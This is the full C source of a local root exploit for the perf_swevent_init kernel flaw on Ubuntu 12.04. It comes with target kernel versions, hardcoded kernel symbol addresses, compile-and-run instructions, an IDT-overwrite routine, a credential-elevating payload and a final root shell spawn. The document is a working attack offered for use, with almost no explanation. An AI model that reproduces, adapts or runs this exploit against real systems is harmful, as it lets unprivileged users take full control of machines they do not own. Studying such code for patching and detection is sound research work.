Ubuntu 12.04.0-2LTS x64 perf_swevent_init - Kernel Local Root Exploit

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/**

 * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit

 * by Vitaly Nikolenko (vnik5287@gmail.com)

 *

 * based on semtex.c by sd

 *

 * Supported targets:

 * [0] Ubuntu 12.04.0 - 3.2.0-23-generic

 * [1] Ubuntu 12.04.1 - 3.2.0-29-generic

 * [2] Ubuntu 12.04.2 - 3.5.0-23-generic

 *

 * $ gcc vnik.c -O2 -o vnik

 *

 * $ uname -r

 * 3.2.0-23-generic

 *

 * $ ./vnik 0

 */

  

#define _GNU_SOURCE 1

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/mman.h>

#include <syscall.h>

#include <stdint.h>

#include <assert.h>

  

#define BASE  0x1780000000

#define SIZE  0x0010000000

#define KSIZE 0x2000000

#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

  

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

 

uint64_t targets[3][3] =

            {{0xffffffff81ef67e0,  // perf_swevent_enabled

              0xffffffff81091630,  // commit_creds

              0xffffffff810918e0}, // prepare_kernel_cred

             {0xffffffff81ef67a0,

              0xffffffff81091220,

              0xffffffff810914d0},

             {0xffffffff81ef5940,

              0xffffffff8107ee30,

              0xffffffff8107f0c0}

        };

 

void __attribute__((regparm(3))) payload() {

    uint32_t *fixptr = (void*)AB(1);

    // restore the handler

    *fixptr = -1;

    commit_creds_fn commit_creds = (commit_creds_fn)AB(2);

    prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);

    commit_creds(prepare_kernel_cred((uint64_t)NULL));

}

  

void trigger(uint32_t off) {

    uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };

    int fd = syscall(298, buf, 0, -1, -1, 0);

    assert( !close(fd) );

}

  

int main(int argc, char **argv) {

    uint64_t off64, needle, kbase, *p;

    uint8_t *code;

    uint32_t int_n, j = 5, target = 1337;

    int offset = 0;

    void *map;

 

    assert(argc == 2 && "target?");

    assert( (target = atoi(argv[1])) < 3 );

 

    struct {

        uint16_t limit;

        uint64_t addr;

    } __attribute__((packed)) idt;

 

    // mmap user-space block so we don't page fault

    // on sw_perf_event_destroy

    assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);

    memset(map, 0, SIZE);

 

    asm volatile("sidt %0" : "=m" (idt));

    kbase = idt.addr & 0xff000000;

    printf("IDT addr = 0x%lx\n", idt.addr);

 

    assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);

    memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);

    memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

 

    // can only play with interrupts 3, 4 and 0x80

    for (int_n = 3; int_n <= 0x80; int_n++) {

        for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {

            int off32 = off64;

     

            if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {

                offset = off32;

                goto out;

            }

        }

        if (int_n == 4) {

            // shit, let's try 0x80 if the kernel is compiled with

            // CONFIG_IA32_EMULATION

            int_n = 0x80 - 1;

        }

    }

out:

    assert(offset);

    printf("Using int = %d with offset = %d\n", int_n, offset);

 

    for (j = 0; j < 3; j++) {

        needle = AB(j+1);

        assert(p = memmem(code, 1024, &needle, 8));

        *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];

    }

    trigger(offset);

    switch (int_n) {

    case 3:

        asm volatile("int $0x03");

        break;

    case 4:

        asm volatile("int $0x04");

        break;

    case 0x80:

        asm volatile("int $0x80");

    }

 

    assert(!setuid(0));

    return execl("/bin/bash", "-sh", NULL);

}